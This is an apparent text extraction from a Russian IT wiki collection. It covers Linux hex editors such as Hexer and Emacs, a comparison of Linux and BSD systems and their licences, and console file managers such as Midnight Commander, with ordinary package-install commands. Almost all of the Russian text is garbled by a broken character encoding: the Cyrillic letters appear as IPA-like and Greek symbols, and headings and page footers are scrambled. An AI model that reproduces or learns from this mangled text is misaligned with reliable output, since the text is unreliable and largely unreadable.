ʠʥʪʝʨʬʝʡʩʝ, ʢʦʪʦʨʳʡ ʧʦʟʚʦʣʷʝʪ ʧʝʨʝʡʪʠ ʢ ʦʧʨʝʜʝʣʝʥʥʦʡ ʩʪʨʦʢʝ ʠʣʠ ʚʳʧʦʣʥʠʪʴ 

ʧʦʠʩʢ. ɺʳ ʤʦʞʝʪʝ ʣʝʛʢʦ ʧʝʨʝʢʣʶʯʘʪʴʩʷ ʤʝʞʜʫ ʰʝʩʪʥʘʜʮʘʪʝʨʠʯʥʳʤʠ ʠʣʠ 

ʜʝʩʷʪʠʯʥʳʤʠ ʘʜʨʝʩʘʤʠ, ʠʣʠ ʧʝʨʝʢʣʶʯʘʪʴʩʷ ʤʝʞʜʫ ʰʝʩʪʥʘʜʮʘʪʝʨʠʯʥʳʤʠ ʠ ASCII-

ʦʢʥʘʤʠ. 

ʉʩʳʣʢʘ ʥʘ GitHub. 

https://wiki.merionet.ru/
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HEXER BINARY EDITOR 

Hexer - ʝʱʝ ʦʜʠʥ ʙʠʥʘʨʥʳʡ ʨʝʜʘʢʪʦʨ ʢʦʤʘʥʜʥʦʡ ʩʪʨʦʢʠ. ɽʛʦ ʦʪʣʠʯʠʪʝʣʴʥʘʷ 

ʦʩʦʙʝʥʥʦʩʪʴ ʟʘʢʣʶʯʘʝʪʩʷ ʚ ʪʦʤ, ʯʪʦ ʵʪʦ Vi-ʧʦʜʦʙʥʳʡ ʨʝʜʘʢʪʦʨ ʩʪʠʣʝʡ ʜʣʷ 

ʙʠʥʘʨʥʳʭ ʬʘʡʣʦʚ. ʅʝʢʦʪʦʨʳʝ ʠʟ ʥʘʠʙʦʣʝʝ ʟʘʤʝʪʥʳʭ ʦʩʦʙʝʥʥʦʩʪʝʡ - ʤʥʦʛʦ 

ʙʫʬʝʨʦʚ, ʤʥʦʛʦʫʨʦʚʥʝʚʘʷ ʦʪʤʝʥʘ, ʨʝʜʘʢʪʠʨʦʚʘʥʠʝ ʢʦʤʘʥʜʥʦʡ ʩʪʨʦʢʠ ʩ 

ʟʘʚʝʨʰʝʥʠʝʤ ʠ ʜʚʦʠʯʥʦʝ ʨʝʛʫʣʷʨʥʦʝ ʚʳʨʘʞʝʥʠʝ. 

ʉʩʳʣʢʘ ʥʘ GitHub. 

https://wiki.merionet.ru/
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EMACS 

Emacs ʷʚʣʷʝʪʩʷ ʘʣʴʪʝʨʥʘʪʠʚʦʡ ʪʝʢʩʪʦʚʦʤʫ ʨʝʜʘʢʪʦʨʫ Vim ʠ ʧʨʝʜʦʩʪʘʚʣʷʝʪ 

ʬʫʥʢʮʠʠ ʨʝʜʘʢʪʠʨʦʚʘʥʠʷ ʚ ʰʝʩʪʥʘʜʮʘʪʝʨʠʯʥʦʤ ʬʦʨʤʘʪʝ. ʇʨʦʩʪʦʪʘ ʠ ʫʜʦʙʥʦʝ 

ʧʝʨʝʢʣʶʯʝʥʠʝ ʤʝʞʜʫ ʨʝʞʠʤʘʤʠ ʷʚʣʷʶʪʩʷ ʚʘʞʥʝʡʰʠʤʠ ʦʩʦʙʝʥʥʦʩʪʷʤʠ Emacs 

https://wiki.merionet.ru/
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ɡȿȺɣɖɏɂɅȼɂ 

ʕʪʦ ʙʳʣ ʢʨʘʪʢʠʡ ʦʙʟʦʨ ʥʝʢʦʪʦʨʳʭ ʥʘʠʙʦʣʝʝ ʯʘʩʪʦ ʠʩʧʦʣʴʟʫʝʤʳʭ 

ʰʝʩʪʥʘʜʮʘʪʝʨʠʯʥʳʭ ʨʝʜʘʢʪʦʨʦʚ ʚ Linux. ʂʘʢʠʝ ʰʝʩʪʥʘʜʮʘʪʝʨʠʯʥʳʝ ʨʝʜʘʢʪʦʨʳ ʚʳ 

ʠʩʧʦʣʴʟʫʝʪʝ ʠ ʧʦʯʝʤʫ ʚʳ ʧʨʝʜʧʦʯʠʪʘʝʪʝ ʠʤʝʥʥʦ ʵʪʦʪ ʨʝʜʘʢʪʦʨ? ʏʪʦ ʜʝʣʘʝʪ ʝʛʦ 

ʣʫʯʰʝ ʜʨʫʛʠʭ? 

Open ɀ source OS: 3 ȖȚȓȐȟȐȧ Linux ȖȚ OpenBSD 

ʀ Linux ʠ BSD-ʩʠʩʪʝʤʳ ʙʝʩʧʣʘʪʥʳ ʠ ʩ ʦʪʢʨʳʪʳʤ ʠʩʭʦʜʥʳʤ ʢʦʜʦʤ, ʦʥʠ ʷʚʣʷʶʪʩʷ 

Unix-ʧʦʜʦʙʥʳʤʠ ʩʠʩʪʝʤʘʤʠ. ʆʥʠ ʟʘʯʘʩʪʫʶ ʜʘʞʝ ʠʩʧʦʣʴʟʫʶʪ ʧʨʘʢʪʠʯʝʩʢʠ 

ʦʜʠʥʘʢʦʚʳʡ ʩʦʬʪ - ʫ ʥʠʭ ʤʥʦʛʦ ʦʙʱʝʛʦ, ʠ ʥʝ ʪʘʢ ʤʥʦʛʦ ʨʘʟʣʠʯʠʡ. ʊʘʢ ʟʘʯʝʤ ʪʦʛʜʘ 

ʧʣʦʜʠʪʴ ʩʫʱʥʦʩʪʠ, ʜʨʫʛʠʤʠ ʩʣʦʚʘʤʠ - ʧʦʯʝʤʫ ʩʫʱʝʩʪʚʫʝʪ ʠ ʪʝ, ʠ ʜʨʫʛʠʝ? 

ɆɉɅɆɁɓ 

ʊʦ, ʯʪʦ ʙʦʣʴʰʠʥʩʪʚʦ ʣʶʜʝʡ ʥʘʟʳʚʘʶʪ ʃʠʥʫʢʩʦʤ, ʧʦ ʩʫʪʠ, ʥʝ ʩʦʚʩʝʤ ʦʥʦ. 

ʊʝʭʥʠʯʝʩʢʠ, Linux - ʵʪʦ ʧʨʦʩʪʦ ʷʜʨʦ Linux, ʪʘʢ ʢʘʢ ʪʠʧʠʯʥʳʝ ʜʠʩʪʨʠʙʫʪʠʚʳ Linux-ʘ 

ʷʚʣʷʶʪʩʷ ʩʙʦʨʢʦʡ ʠʟ ʤʥʦʞʝʩʪʚʘ ʢʫʩʦʯʢʦʚ ʨʘʟʣʠʯʥʦʛʦ ʩʦʬʪʘ, ʧʦʵʪʦʤʫ ʝʛʦ ʠʥʦʛʜʘ 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/luchshie-hex-redaktory-dlya-linux/10.png
https://wiki.merionet.ru/images/luchshie-hex-redaktory-dlya-linux/10.png


 
 

 

196                        ͵ΙΥΜΣΡ ͺΙΧΖΣΥΞΦ   wiki.merionet.ru   
 

ʥʘʟʳʚʘʶʪ GNU/Linux. ʅʦ ʦʧʷʪʴ ʞʝ, ʤʥʦʞʝʩʪʚʦ ʠʩʧʦʣʴʟʫʝʤʳʭ ʥʘ ʥʝʤ ʧʨʠʣʦʞʝʥʠʡ 

ʪʘʢʞʝ ʠʩʧʦʣʴʟʫʶʪʩʷ ʥʘ BSD. 

ʂʘʢ ʤʳ ʫʞʝ ʫʧʦʤʷʥʫʣʠ ʚʦ ʚʚʝʜʝʥʠʠ, Linux ʠ BSD ʷʚʣʷʶʪʩʷ Unix-ʧʦʜʦʙʥʳʤʠ 

ʩʠʩʪʝʤʘʤʠ, ʥʦ ʫ ʥʠʭ ʩʦʚʝʨʰʝʥʥʦ ʨʘʟʥʦʝ ʥʘʩʣʝʜʠʝ. Linux ʙʳʣ ʥʘʧʠʩʘʥ ʃʠʥʫʩʦʤ 

ʊʦʨʚʘʣʴʜʩʦʤ, ʢʦʛʜʘ ʪʦʪ ʙʳʣ ʩʪʫʜʝʥʪʦʤ ʚ ʌʠʥʣʷʥʜʠʠ, ʘ BSD ʨʘʩʰʠʬʨʦʚʳʚʘʝʪʩʷ 

ʢʘʢ Berkeley Software Distribution, ʪʘʢ ʢʘʢ ʠʟʥʘʯʘʣʴʥʦ ʵʪʦ ʙʳʣ ʧʘʢʝʪ ʤʦʜʠʬʠʢʘʮʠʡ 

Bell Unix, ʢʦʪʦʨʳʡ, ʚ ʩʚʦʶ ʦʯʝʨʝʜʴ, ʙʳʣ ʩʦʟʜʘʥ ʚ ʂʘʣʠʬʦʨʥʠʡʩʢʦʤ ʋʥʠʚʝʨʩʠʪʝʪʝ ʚ 

ɹʝʨʢʣʠ. ɺ ʢʦʥʮʝ ʢʦʥʮʦʚ, ʵʪʘ ʩʙʦʨʢʘ ʵʚʦʣʶʮʠʦʥʠʨʦʚʘʣʘ ʚ ʧʦʣʥʦʮʝʥʥʫʶ 

ʦʧʝʨʘʮʠʦʥʥʫʶ ʩʠʩʪʝʤʫ, ʠ ʪʝʧʝʨʴ ʧʦ ʤʠʨʫ ʭʦʜʠʪ ʤʥʦʛʦ ʨʘʟʥʳʭ BSD. 

 

ɗɠɈɆ ɇɈɆɊȼɁ ɇɆɣɅɆɎɂɅɅɆɢ Ɇɉ 

ʆʬʠʮʠʘʣʴʥʦ, Linux - ʵʪʦ ʧʨʦʩʪʦ ʷʜʨʦ. ɼʠʩʪʨʠʙʫʪʠʚʳ ʃʠʥʫʢʩʘ ʜʦʣʞʥʳ ʚʳʧʦʣʥʷʪʴ 

ʨʘʙʦʪʫ ʧʦ ʩʙʦʨʢʝ ʚʩʝʛʦ ʥʫʞʥʦʛʦ ʇʆ ʜʣʷ ʩʦʟʜʘʥʠʷ ʧʦʣʥʦʮʝʥʥʦʡ ʦʧʝʨʘʮʠʦʥʥʦʡ 

ʩʠʩʪʝʤʳ ʃʠʥʫʢʩ ʜʣʷ ʩʦʟʜʘʥʠʷ ʪʦʛʦ ʠʣʠ ʠʥʦʛʦ ʜʠʩʪʨʠʙʫʪʠʚʘ, ʢʘʢ ʥʘʧʨʠʤʝʨ Ubuntu, 

Mint, Debian, Fedora, Red Hat ʠʣʠ Arch - ʚ ʤʠʨʝ ʝʩʪʴ ʦʛʨʦʤʥʦʝ ʢʦʣʠʯʝʩʪʚʦ 

ʨʘʟʣʠʯʥʳʭ ʜʠʩʪʨʠʙʫʪʠʚʦʚ. 

ɸ BSD, ʚ ʩʚʦʶ ʦʯʝʨʝʜʴ, ʵʪʦ ʠ ʷʜʨʦ, ʠ ʦʧʝʨʘʮʠʦʥʥʘʷ ʩʠʩʪʝʤʘ. ʂ ʧʨʠʤʝʨʫ, FreeBSD 

ʧʨʝʜʦʩʪʘʚʣʷʝʪ ʠ ʷʜʨʦ FreeBSD ʠ ʦʧʝʨʘʮʠʦʥʥʫʶ ʩʠʩʪʝʤʫ FreeBSD, ʠ ʚʩʝ ʵʪʦ ʜʦʙʨʦ 

ʦʙʩʣʫʞʠʚʘʝʪʩʷ ʢʘʢ ʝʜʠʥʳʡ ʧʨʦʝʢʪ. ɼʨʫʛʠʤʠ ʩʣʦʚʘʤʠ, ʝʩʣʠ ʚʘʤ ʟʘʭʦʯʝʪʩʷ 

ʫʩʪʘʥʦʚʠʪʴ FreeBSD, ʚʳ ʧʨʦʩʪʦ ʩʤʦʞʝʪʝ ʵʪʦ ʩʜʝʣʘʪʴ. ɽʩʣʠ ʞʝ ʚʳ ʟʘʭʦʪʠʪʝ 

ʫʩʪʘʥʦʚʠʪʴ ʩʝʙʝ ʃʠʥʫʢʩ, ʪʦ ʚʘʤ ʚʥʘʯʘʣʝ ʧʨʠʜʝʪʩʷ ʚʳʙʨʘʪʴ ʢʦʥʢʨʝʪʥʳʡ ʪʠʧ 

ʜʠʩʪʨʠʙʫʪʠʚʘ (ʫ ʥʠʭ ʝʩʪʴ ʙʦʣʴʰʦʝ ʢʦʣʠʯʝʩʪʚʦ ʪʦʥʢʦʩʪʝʡ, ʨʘʟʣʠʯʠʡ ʠ ʩʧʝʮʠʬʠʢʠ 

ʤʝʞʜʫ ʩʦʙʦʡ). 
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ɹʉɼ ʩʠʩʪʝʤʳ ʠʥʘʯʝ ʨʘʙʦʪʘʶʪ ʩ ʩʦʬʪʦʤ - ʦʥʠ ʚʢʣʶʯʘʶʪ ʚ ʩʝʙʷ ʇʆ ʚ ʠʩʭʦʜʥʦʤ 

ʚʠʜʝ, ʠ ʢʦʤʧʴʶʪʝʨ ʜʦʣʞʝʥ ʢʦʤʧʠʣʠʨʦʚʘʪʴ ʠʭ ʧʝʨʝʜ ʟʘʧʫʩʢʦʤ. ʅʦ, ʦʧʷʪʴ ʞʝ, 

ʧʨʠʣʦʞʝʥʠʷ ʪʘʢʞʝ ʤʦʞʥʦ ʫʩʪʘʥʘʚʣʠʚʘʪʴ ʚ ʧʨʠʚʳʯʥʦʤ ʚʠʜʝ, ʪʘʢ ʯʪʦ ʚʘʤ ʥʝ 

ʧʨʠʜʝʪʩʷ ʪʨʘʪʠʪʴ ʚʨʝʤʷ ʠ ʨʝʩʫʨʩʳ ʥʘ ʢʦʤʧʠʣʷʮʠʶ. 

 

ɣȼɎɂɅɡȼɈɆɁȿɅȼɂ 

ʃʠʮʝʥʟʠʨʦʚʘʥʠʝ ʦʪʣʠʯʘʝʪʩʷ ʫ ʵʪʠʭ ʩʠʩʪʝʤ ʦʯʝʥʴ ʩʠʣʴʥʦ, ʯʪʦ ʜʣʷ ʙʦʣʴʰʠʥʩʪʚʘ ʥʝ 

ʙʫʜʝʪ ʠʛʨʘʪʴ ʟʥʘʯʝʥʠʷ, ʘ ʚʦʪ ʜʣʷ ʣʶʜʝʡ, ʢʦʪʦʨʳʝ ʢʘʢ-ʪʦ ʥʘ ʵʪʦʤ ʟʘʨʘʙʘʪʳʚʘʶʪ - 

ʤʦʞʥʦ ʠ ʠʟʫʯʠʪʴ ʧʦʜʨʦʙʥʝʝ. Linux ʠʩʧʦʣʴʟʫʝʪ GNU GPL, ʦʥʘ ʞʝ ñʆʩʥʦʚʥʘʷ 

ʇʫʙʣʠʯʥʘʷ ʃʠʮʝʥʟʠʷò. ɽʩʣʠ ʚʳ ʤʦʜʠʬʠʮʠʨʫʝʪʝ ʷʜʨʦ ʃʠʥʫʢʩʘ ʠ ʨʘʩʧʨʦʩʪʨʘʥʷʝʪʝ 

ʝʛʦ, ʪʦ ʚʳ ʦʙʷʟʘʥʳ ʪʘʢʞʝ ʦʧʫʙʣʠʢʦʚʘʪʴ ʠʩʭʦʜʥʠʢʠ ʢʦʜʘ ʩ ʚʘʰʠʤʠ ʤʦʜʠʬʠʢʘʮʠʷʤʠ. 

ɺ ʩʣʫʯʘʝ BSD, ʢʦʪʦʨʳʝ ʠʩʧʦʣʴʟʫʝʪ BSD ʣʠʮʝʥʟʠʶ, ʵʪʦ ʩʦʚʩʝʤ ʥʝ ʪʘʢ - ʚʳ ʥʠʯʝʛʦ 

ʥʝ ʦʙʷʟʘʥʳ ʧʫʙʣʠʢʦʚʘʪʴ, ʪʦʣʴʢʦ ʝʩʣʠ ʩʘʤʠ ʟʘʭʦʪʠʪʝ. 

ʀ BSD, ʠ Linux ʷʚʣʷʶʪʩʷ ʪʘʢ ʥʘʟʳʚʘʝʤʳʤʠ ñOpen-sourceò ʩʠʩʪʝʤʘʤʠ, ʪʦ ʝʩʪʴ 

ʠʤʝʶʪ ʩʚʦʙʦʜʥʦ ʨʘʩʧʨʦʩʪʨʘʥʷʝʤʳʡ ʢʦʜ, ʥʦ ʵʪʦ ʫ ʥʠʭ ʥʝʤʥʦʛʦ ʧʦ-ʨʘʟʥʦʤʫ 

ʨʝʘʣʠʟʦʚʘʥʦ. ʃʶʜʠ ʯʘʩʪʦ ʩʧʦʨʷʪ, ʢʘʢʘʷ ʠʟ ʵʪʠʭ ʣʠʮʝʥʟʠʡ ʷʚʣʷʝʪʩʷ ñʙʦʣʝʝ 

ʩʚʦʙʦʜʥʦʡò. GPL ʣʠʮʝʥʟʠʷ ʧʦʤʦʛʘʝʪ ʢʦʥʝʯʥʳʤ ʧʦʣʴʟʦʚʘʪʝʣʷʤ ʪʝʤ, ʯʪʦ ʦʥʠ ʚʩʝʛʜʘ 

ʩʤʦʛʫʪ ʥʘʡʪʠ ʠʩʭʦʜʥʠʢʠ (ʵʪʦ ʤʦʞʝʪ ʧʦʤʦʯʴ ʨʘʟʦʙʨʘʪʴʩʷ ʚ ʨʝʰʝʥʠʠ ʠ/ʠʣʠ ʢʘʢ-ʪʦ 

ʜʦʨʘʙʦʪʘʪʴ ʝʛʦ, ʥʦ ʦʛʨʘʥʠʯʠʚʘʝʪ ʨʘʟʨʘʙʦʪʯʠʢʦʚ, ʪʘʢ ʢʘʢ ʧʦ ʩʫʪʠ ʟʘʩʪʘʚʣʷʝʪ ʠʭ 

ʧʫʙʣʠʢʦʚʘʪʴ ʠʩʭʦʜʥʠʢʠ ʚʩʝʛʦ ʪʦʛʦ, ʯʪʦ ʦʥʠ ʥʘʚʘʷʣʠ ʚ ʩʚʦʠʭ ʯʝʨʪʦʛʘʭ ʨʘʟʫʤʘ. 

ʉʦʦʪʚʝʪʩʪʚʝʥʥʦ, ʥʘ ʙʘʟʝ BSD ʨʘʟʨʘʙʦʪʯʠʢʠ ʤʦʛʫʪ ʩʦʟʜʘʚʘʪʴ ʧʨʦʝʢʪʳ ʩ ʫʞʝ 

ʟʘʢʨʳʪʳʤ ʠʩʭʦʜʥʳʤ ʢʦʜʦʤ, ʜʣʷ ʫʚʝʣʠʯʝʥʠʷ ʢʦʥʝʯʥʦʡ ʩʪʦʠʤʦʩʪʠ ʠ 

ʧʨʦʧʨʠʝʪʘʨʥʦʩʪʠ. 
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ȺȿȺȼɂ ɀɓɁȿɖɊ ɀɡɠɓ 

ʏʘʱʝ ʚʩʝʛʦ ʚʦʩʧʨʠʥʠʤʘʶʪ ʪʨʠ ʦʩʥʦʚʥʳʭ ʪʠʧʘ BSD: 

ǒ FreeBSD ʷʚʣʷʝʪʩʷ ʩʘʤʦʡ ʧʦʧʫʣʷʨʥʦʡ, ʮʝʣʠʪʩʷ ʥʘ ʚʳʩʦʢʫʶ 

ʧʨʦʠʟʚʦʜʠʪʝʣʴʥʦʩʪʴ ʠ ʫʜʦʙʩʪʚʦ ʠʩʧʦʣʴʟʦʚʘʥʠʷ. ʇʨʝʢʨʘʩʥʦ ʨʘʙʦʪʘʝʪ ʥʘ 

ʩʪʘʥʜʘʨʪʥʳʭ x86 ʠ x64 ʧʨʦʮʝʩʩʦʨʘʭ ʦʪ Intel ʠ AMD; 

ǒ NetBSD ʧʨʝʜʥʘʟʥʘʯʝʥʘ ʜʣʷ ʟʘʧʫʩʢʘ ʥʘ ʯʝʤ ʫʛʦʜʥʦ ʠ ʧʦʜʜʝʨʞʠʚʘʝʪ 

ʙʝʩʢʦʥʝʯʥʦʝ ʢʦʣʠʯʝʩʪʚʦ ʨʘʟʥʳʭ ʘʨʭʠʪʝʢʪʫʨ. ʀʭ ʣʦʟʫʥʛ: ʂʦʥʝʯʥʦ, NetBSD 

ʨʘʙʦʪʘʝʪ; 

ǒ OpenBSD ʩʜʝʣʘʥʘ ʜʣʷ ʤʘʢʩʠʤʘʣʴʥʦʡ ʙʝʟʦʧʘʩʥʦʩʪʠ, ʠ ʥʝ ʪʦʣʴʢʦ ʩʦ ʩʪʦʨʦʥʳ 

ʝʝ ʬʫʥʢʮʠʡ, ʥʦ ʠ ʩʦ ʩʪʦʨʦʥʳ ʧʨʘʢʪʠʢ ʧʦ ʝʝ ʚʥʝʜʨʝʥʠʶ. ʆʥʘ ʙʳʣʘ 

ʩʧʨʦʝʢʪʠʨʦʚʘʥʘ ʢʘʢ ʦʧʝʨʘʮʠʦʥʥʘʷ ʩʠʩʪʝʤʘ ʜʣʷ ʙʘʥʢʦʚ ʠ ʧʨʦʯʠʭ ʩʝʨʴʝʟʥʳʭ 

ʩʪʨʫʢʪʫʨ, ʫ ʢʦʪʦʨʳʭ ʝʩʪʴ ʢʨʠʪʠʯʝʩʢʠʝ ʠʥʬʦʨʤʘʮʠʦʥʥʳʝ ʠʥʬʨʘʩʪʨʫʢʪʫʨʳ; 

ɽʩʪʴ ʝʱʝ ʜʚʝ ʠʟʚʝʩʪʥʳʝ BSD ʩʠʩʪʝʤʳ: 

ǒ DragonFly BSD ʙʳʣʘ ʩʦʟʜʘʥʘ ʩ ʮʝʣʴʶ ʠʩʧʦʣʴʟʦʚʘʥʠʷ ʚ ʤʫʣʴʪʠʧʦʪʦʯʥʳʭ 

ʩʨʝʜʘʭ - ʢ ʧʨʠʤʝʨʫ, ʚ ʢʣʘʩʪʝʨʘʭ, ʩʦʜʝʨʞʘʱʠʭ ʚ ʩʝʙʝ ʙʦʣʴʰʦʝ ʢʦʣʠʯʝʩʪʚʦ 

ʢʦʤʧʴʶʪʝʨʦʚ; 

ǒ Mac OS X (ʚʨʷʜ ʣʠ ʥʘʡʜʝʪʩʷ ʯʝʣʦʚʝʢ, ʢʦʪʦʨʳʡ ʥʝ ʩʣʳʰʘʣ ʵʪʦ ʥʘʟʚʘʥʠʝ) ʧʦ 

ʬʘʢʪʫ ʙʘʟʠʨʫʝʪʩʷ ʥʘ ʆʉ ʧʦʜ ʥʘʟʚʘʥʠʝʤ Darwin, ʢʦʪʦʨʘʷ ʚ ʩʚʦʶ ʦʯʝʨʝʜʴ 

ʙʘʟʠʨʫʶʪʩʷ ʥʘ BSD. ʆʥʘ ʦʪʣʠʯʘʝʪʩʷ ʦʪ ʩʝʙʝ ʧʦʜʦʙʥʳʭ ʩʠʩʪʝʤ: 

ʥʠʟʢʦʫʨʦʚʥʝʚʦʝ ʷʜʨʦ ʠ ʧʨʦʯʝʝ ʇʆ ʷʚʣʷʝʪʩʷ ʦʧʝʥʩʦʨʩʥʳʤ BSD ʢʦʜʦʤ, 

ʙʆʣʴʰʘʷ ʯʘʩʪʴ ʦʧʝʨʘʮʠʦʥʥʦʡ ʩʠʩʪʝʤʳ ʵʪʦ ʟʘʢʨʳʪʳʡ Mac OS ʢʦʜ. Apple 

ʧʦʩʪʨʦʠʣʘ Mac OS ʠ IOS ʥʘ BSD, ʯʪʦʙʳ ʠʟʙʘʚʠʪʴʩʷ ʦʪ ʥʝʦʙʭʦʜʠʤʦʩʪʠ 

ʧʠʩʘʪʴ ʥʠʟʢʦʫʨʦʚʥʝʚʫʶ ʦʧʝʨʘʮʠʦʥʥʫʶ ʩʠʩʪʝʤʫ, ʪʘʢʞʝ ʢʘʢ Google ʧʦʩʪʨʦʠʣʘ 

Android ʥʘ ʙʘʟʝ Linux; 
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ɡȿɏɂɄ ɁɓɀȼɈȿɊɔ D%F ɁɄɂɉɊɆ NKPVYA 

Linux ʚʩʝ ʝʱʝ ʛʦʨʘʟʜʦ ʧʦʧʫʣʷʨʥʝʝ ʪʦʡ ʞʝ FreeBSD. ʂʘʢ ʦʜʠʥ ʠʟ ʧʨʠʤʝʨʦʚ, ʦʥ 

ʥʘʯʠʥʘʝʪ ʧʦʜʜʝʨʞʠʚʘʪʴ ʥʦʚʦʝ ʞʝʣʝʟʦ ʨʘʥʴʰʝ. ʇʦ ʩʫʪʠ, ʦʥʠ ʚʦ ʤʥʦʛʦʤ ʦʙʨʘʪʥʦ 

ʩʦʚʤʝʩʪʠʤʳ ʠ ʤʥʦʛʦʝ ʇʆ ʨʘʙʦʪʘʝʪ ʦʜʠʥʘʢʦʚʦ. 

ɽʩʣʠ ʚʘʤ ʫʞʝ ʧʦʩʯʘʩʪʣʠʚʠʣʦʩʴ ʠʩʧʦʣʴʟʦʚʘʪʴ Linux, ʪʦ FreeBSD ʥʝ ʙʫʜʝʪ 

ʦʱʫʱʘʪʴʩʷ ʯʝʤ-ʪʦ ʠʥʳʤ. ʋʩʪʘʥʦʚʠʪʝ FreeBSD ʢʘʢ ʜʝʩʢʪʦʧʥʫʶ ʆʉ ʠ ʚʳ ʙʫʜʝʪʝ 

ʠʩʧʦʣʴʟʦʚʘʪʴ ʪʦʪ ʞʝ Gnome ʠʣʠ KDE, ʢʦʪʦʨʳʡ ʚʳ ʠʩʧʦʣʴʟʦʚʘʣʠ ʥʘ Linux. ʆʜʥʘʢʦ, 

FreeBSD ʥʝ ʫʩʪʘʥʦʚʠʪ ʛʨʘʬʠʯʝʩʢʫʶ ʦʙʦʣʦʯʢʫ ʘʚʪʦʤʘʪʠʯʝʩʢʠ, ʪʘʢ ʯʪʦ ʚʘʤ ʩʘʤʠʤ 

ʧʨʠʜʝʪʩʷ ʵʪʠʤ ʟʘʥʠʤʘʪʴʩʷ, ʪʦ ʝʩʪʴ ʩʠʩʪʝʤʘ ʷʚʣʷʝʪʩʷ ʙʦʣʝʝ çʦʣʜʩʢʫʣʴʥʦʡè ʚ ʪʦʤ 

ʠʣʠ ʠʥʦʤ ʩʤʳʩʣʝ. 

ʀʥʦʛʜʘ, FreeBSD ʤʦʞʝʪ ʷʚʣʷʪʴʩʷ ʧʨʝʜʧʦʯʪʠʪʝʣʴʥʦʡ ʆʉ ʥʘ ʥʝʢʦʪʦʨʳʭ 

ʦʧʝʨʘʮʠʦʥʥʳʭ ʩʠʩʪʝʤʘʭ ʟʘ ʩʪʘʙʠʣʴʥʦʩʪʴ ʠ ʥʘʜʝʞʥʦʩʪʴ, ʘ ʥʝʢʦʪʦʨʳʝ 

ʧʨʦʠʟʚʦʜʠʪʝʣʠ ʫʩʪʨʦʡʩʪʚ ʤʦʛʫʪ ʚʳʙʠʨʘʪʴ BSD ʠʟ-ʟʘ ʦʪʩʫʪʩʪʚʠʷ ʥʝʦʙʭʦʜʠʤʦʩʪʠ 

ʧʫʙʣʠʢʦʚʘʪʴ ʠʩʭʦʜʥʳʡ ʢʦʜ. 

ɽʩʣʠ ʚʳ ʦʙʳʯʥʳʡ ʧʦʣʴʟʦʚʘʪʝʣʴ ʜʝʩʢʪʦʧʘ, ʚʘʤ ʪʦʯʥʦ ʙʫʜʝʪ ʧʨʦʱʝ ʠʩʧʦʣʴʟʦʚʘʪʴ 

Linux - ʪʘʢ ʢʘʢ ʪʘʢʠʝ ʦʧʝʨʘʮʠʦʥʥʳʝ ʩʠʩʪʝʤʳ ʢʘʢ Ubuntu ʠʣʠ Mint ʛʦʨʘʟʜʦ 

ʜʨʫʞʝʣʶʙʥʝʝ ʢ ʢʦʥʝʯʥʦʤʫ ʧʦʣʴʟʦʚʘʪʝʣʶ. 
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ʂʦʥʩʦʣʴʥʳʝ ʬʘʡʣʦʚʳʝ ʤʝʥʝʜʞʝʨʳ Linux ʤʦʛʫʪ ʙʳʪʴ ʦʯʝʥʴ ʧʦʣʝʟʥʳ ʚ 

ʧʦʚʩʝʜʥʝʚʥʳʭ ʟʘʜʘʯʘʭ, ʧʨʠ ʫʧʨʘʚʣʝʥʠʠ ʬʘʡʣʘʤʠ ʥʘ ʣʦʢʘʣʴʥʦʤ ʢʦʤʧʴʶʪʝʨʝ ʠʣʠ 

ʧʨʠ ʧʦʜʢʣʶʯʝʥʠʠ ʢ ʫʜʘʣʝʥʥʦʤʫ. ɺʠʟʫʘʣʴʥʦʝ ʧʨʝʜʩʪʘʚʣʝʥʠʝ ʢʘʪʘʣʦʛʘ ʧʦʤʦʛʘʝʪ 

ʙʳʩʪʨʦ ʚʳʧʦʣʥʷʪʴ ʦʧʝʨʘʮʠʠ ʩ ʬʘʡʣʘʤʠ ʠ ʧʘʧʢʘʤʠ ʠ ʵʢʦʥʦʤʠʪ ʥʘʤ ʚʨʝʤʷ. 

ɺ ʵʪʦʡ ʩʪʘʪʴʝ ʤʳ ʨʘʩʩʤʦʪʨʠʤ ʥʝʢʦʪʦʨʳʝ ʠʟ ʥʘʠʙʦʣʝʝ ʯʘʩʪʦ ʠʩʧʦʣʴʟʫʝʤʳʭ 

ʬʘʡʣʦʚʳʭ ʤʝʥʝʜʞʝʨʦʚ ʢʦʥʩʦʣʠ Linux, ʠʭ ʬʫʥʢʮʠʠ ʠ ʧʨʝʠʤʫʱʝʩʪʚʘ. 

 

 

GNU MIDNIGHT COMMANDER 

Midnight Command, ʢʦʪʦʨʫʶ ʯʘʩʪʦ ʥʘʟʳʚʘʶʪ ʧʨʦʩʪʦ MC, ʠ ʷʚʣʷʝʪʩʷ ʦʜʥʠʤ ʠʟ 

ʣʫʯʰʠʭ ʬʘʡʣʦʚʳʭ ʤʝʥʝʜʞʝʨʦʚ, ʦʙʩʫʞʜʘʝʤʳʭ ʚ ʵʪʦʡ ʩʪʘʪʴʝ. MC ʧʦʩʪʘʚʣʷʝʪʩʷ ʩʦ 

ʚʩʝʤʠ ʚʠʜʘʤʠ ʧʦʣʝʟʥʳʭ ʬʫʥʢʮʠʡ, ʢʨʦʤʝ ʢʦʧʠʨʦʚʘʥʠʷ, ʧʝʨʝʤʝʱʝʥʠʷ, ʫʜʘʣʝʥʠʷ, 
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ʩʦʟʜʘʥʠʷ ʬʘʡʣʦʚ ʠ ʢʘʪʘʣʦʛʦʚ, ʚʳ ʤʦʞʝʪʝ ʠʟʤʝʥʷʪʴ ʧʨʘʚʘ ʜʦʩʪʫʧʘ ʠ ʚʣʘʜʝʣʴʮʘ, 

ʧʨʦʩʤʘʪʨʠʚʘʪʴ ʘʨʭʠʚʳ, ʠʩʧʦʣʴʟʦʚʘʪʴ ʝʛʦ ʚ ʢʘʯʝʩʪʚʝ FTP-ʢʣʠʝʥʪʘ ʠ ʤʥʦʛʦʝ ʜʨʫʛʦʝ. 

 

ɼʣʷ ʫʩʪʘʥʦʚʢʠ Midnight Commander ʚʳ ʤʦʞʝʪʝ ʠʩʧʦʣʴʟʦʚʘʪʴ ʩʣʝʜʫʶʱʠʝ ʢʦʤʘʥʜʳ: 

sudo apt install mc  #[Debian/Ubuntu]  

sudo yum install mc  #[CentOS/RHEL]  

sudo dnf install mc  #[Fedora]  

 

RANGER CONSOLE FILE MANAGER 
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Ranger ʷʚʣʷʝʪʩʷ ʝʱʝ ʦʜʥʠʤ ʣʫʯʰʠʤ ʚʳʙʦʨʦʤ, ʝʩʣʠ ʚʳ ʠʱʝʪʝ ʢʦʥʩʦʣʴʥʳʡ 

